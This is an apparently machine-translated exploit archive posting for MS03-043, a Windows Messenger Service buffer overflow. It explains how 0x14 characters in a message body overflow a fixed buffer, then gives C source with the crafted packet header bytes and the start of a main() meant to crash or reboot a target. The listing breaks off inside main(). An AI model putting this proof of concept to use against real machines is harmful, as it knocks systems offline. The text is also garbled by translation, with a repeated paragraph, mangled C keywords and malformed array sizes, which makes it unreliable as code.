Submits the time: 2003-10-21 Submits the user:Dav1d Tool classification: Attack procedure Movement platform: Windows Tool size: 5,699 Bytes Document MD5: 0e504611d9d217cef084befbb7e528b8 Tool origin:Http://www.dav1d.org
In yesterday passed on MessengerOverflow (MS03-043) c the typesetting had the mistake, caused to be unable to transmit the correct packet package, Asks the manager to replace! ! The new document joins #pragma comment (lib, "ws2_32.lib"), may directly translate successfully. To inconvenient which creates, I express extremely the apology!
Exploitation shouldn't be too hard. Launching it one or two times against the target should make the machine reboot. Tested against a Win2K SP4.
"The vulnerability results because the Messenger Service does not properly validate the length of a message before passing it to the allocated buffer" according to MS bulletin. Digging into it a bit more, we find that when a character 0x14 in encountered in the 'body' part of the message, it is replaced by a CR+LF. The buffer allocated for this operation is twice the size of the string, which is the way to go, but
DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard. Launching it one or two times against the target should make the machine reboot. Tested against a Win2K SP4.
"The vulnerability results because the Messenger Service does not properly validate the length of a message before passing it to the allocated buffer" according to MS bulletin. Digging into it a bit more, we find that when a character 0x14 in encountered in the 'body' part of the message, it is replaced by a CR+LF. The buffer allocated for this operation is twice the size of the string, which is the way to go, but is then copied to a buffer which was only allocated 11CAh bytes. Thanks to that, we can bypass the length checks and overflow the fixed size buffer.
#pragma comment (lib, "ws2_32.lib") /* this cannot be few. */
// Packet format found thanks to a bit a sniffing static unsigned char packet_header [ ] = "\x04\x00\x28\x00" "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0" "\x4f\xb6\xe6\xfc" "\xff\xff\xff\xff" // @40: Unique id over 16 bytes? "\xff\xff\xff\xff" "\xff\xff\xff\xff" "\xff\xff\xff\xff" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\xff\xff\xff\xff" "\xff\xff\xff\xff" // @74: Fields length "\x00\x00";
Unsigned char field_header [ ] = "\xff\xff\xff\xff" // @0: Field length "\x00\x00\x00\x00" "\xff\xff\xff\xff"; // @8: Field length
Int main (int argc, char *argv [ ]) {int i, packet_size, fields_size, s; Unsigned char packet [ 8,192 ]; Struct sockaddr_in addr; // A few conditions: // 0 <= strlen (from) + strlen (machine) <= 56 // max fields size 3,992 char from [ ] = "RECCA"; Char machine [ ] = "ZEUS"; Char body [ 4,096 ] = "*** MESSAGE ***";